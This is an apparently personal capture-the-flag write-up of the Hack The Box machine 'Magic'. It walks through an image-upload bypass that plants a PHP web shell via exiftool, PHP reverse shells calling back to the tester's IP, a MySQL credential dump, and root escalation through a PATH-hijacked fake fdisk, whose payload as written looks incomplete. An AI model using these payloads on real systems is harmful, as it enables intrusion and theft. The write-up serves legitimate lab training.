HTB Magic

Published by wtfender on

A write up for another HTB machine, Magic.

Starting off with a port scan, I noticed a web server running and began enumerating directories with gobuster.

root@kali:~# nmap -Pn 10.10.10.185

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
root@kali:~# ./gobuster dir -u http://10.10.10.185 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

/index.php (Status: 200)
/images (Status: 301)
/login.php (Status: 200)
/assets (Status: 301)
/upload.php (Status: 302)

Checking out the website a little bit, it appears to be some sort of image hosting application. The ability to upload images appears to be gated by login.php. I wasn’t able to view upload.php in my browser due to a redirect. However, after requesting the page with curl, I was able to view it locally.

curl http://10.10.10.185/upload.php > upload.html

After updating my pages href links and form to point back to http://10.10.10.185, the formatting returns. I am still redirected to the login page after trying to upload an image, which leads me to believe it didn’t work.

However, after seeing the paths of the images on the site’s main page /images/uploads/<file>, I tried navigating to where my image should be and it was indeed uploaded.

I immediate tried to upload a PHP web shell, but the file upload appears to only allow image file extensions. After doing a little reading on how to bypass file type restrictions, I had to do two things.

The first thing I needed to do was embed PHP code in my image’s metadata using exiftool. Here I’m embedding a simple PHP web shell in image.png comment field.

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' image.png

Second, we simply need to change the file extension type to image.php.png. After uploading our web shell, we can visit it and see that we have limited access with the www-data user.

curl -o - http://10.10.10.185/images/uploads/image.php.png?cmd=whoami

<cipher text>
���2tEXtComment<pre>www-data
���
IDATx�Ѕa�@�=������L�Q   Ҏ����w��D$�->jϤ��
<cipher text>

Our output isn’t very elegant, so I’d like to upgrade my shell to make enumeration a little bit easier. I created a second image2.php.png, but this time I embedded a PHP reverse shell.

exiftool -Comment='<?php $sock=fsockopen("10.10.14.15",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' image.php.png

After uploading the second shell and setting up a local netcat listener, request the page to create the reverse shell. After receiving the connection, I use python to create a slightly friendlier shell.

root@kali:~# nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.185] 57914
/bin/sh: 0: can't access tty; job control turned off

$ whoami
www-data

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/Magic/images/uploads$

Once I was able to browse around with a shell, I immediately found a database file containing credentials for the local MySQL database, close to www-data home/working directory.

www-data@ubuntu:/var/www/Magic$ cat db.php5
 
<?php
class Database
{                                                                                                                                                 
    private static $dbName = 'Magic' ;                                                                                                            
    private static $dbHost = 'localhost' ;                                                                                                        
    private static $dbUsername = 'theseus';                                                                                                       
    private static $dbUserPassword = 'iamkingtheseus';
<snip>

netstat revealed that a MySQL database is indeed listening. Normally, I would just use the mysql CLI client to connect, but it was not installed. I checked which mysql binaries were avilable and decided to simply dump the database.

www-data@ubuntu:/var/www/Magic$ ls -lh /usr/bin|grep mysql
-rwxr-xr-x  1 root root     3.5M Jan 21 06:10 mysql_config_editor
-rwxr-xr-x  1 root root     3.7M Jan 21 06:10 mysqladmin
-rwxr-xr-x  1 root root     3.7M Jan 21 06:10 mysqldump
-rwxr-xr-x  1 root root     3.7M Jan 21 06:10 mysqlshow


www-data@ubuntu:/var/www/Magic$ mysqldump -u theseus -p Magic > dump.sql

A mysql dump will contain all of the database queries required to rebuild the database. In our case, the dump contained a set of credentials for another user, theseus.

www-data@ubuntu:/var/www/Magic$ cat dump.sql
<snip>
-- Dumping data for table `login`
--
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
<snip>

www-data@ubuntu:/var/www/Magic$ su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/var/www/Magic$ whoami
theseus

theseus@ubuntu:/var/www/Magic$ cat ~/user.txt
<user_flag>

On to root privledge escalation, I added my keys and SSH’d as theseus. I was stuck for quite a bit and ended up relying on two enumeration scripts, linpeas.sh and pspy64.

https://github.com/DominicBreuker/pspy

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

Linpeas highlighted /bin/sysinfo as concerning, but I didn’t immediately understand why.

theseus@ubuntu:~$ sh linpeas.sh
<snip>
[+] Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo
<snip>

I spent a long time running other enumeration scripts and trying to understand how sysinfo works. Eventually after understanding fdisk and while monitoring command activity with pspy64, I noticed that /bin/sysinfo was relying on the PATH to find fdisk when running.

I created my own fdisk executable, which simply spawns a PHP reverse shell, and added it’s location to my current path. Executing /bin/sysinfo spawns the reverse shell.

theseus@ubuntu:~$ echo '$sock=fsockopen("10.10.14.15",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' > fdisk
theseus@ubuntu:~$ chmod 755 fdisk
theseus@ubuntu:~$ export PATH=/home/theseus:$PATH
theseus@ubuntu:~$ /bin/sysinfo
<snip>

We catch the reverse shell with a local listener and can read the root flag.

root@kali:~# nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.185] 57914
/bin/sh: 0: can't access tty; job control turned off

$ whoami
root

$ cat /root/root.txt
<root_flag>

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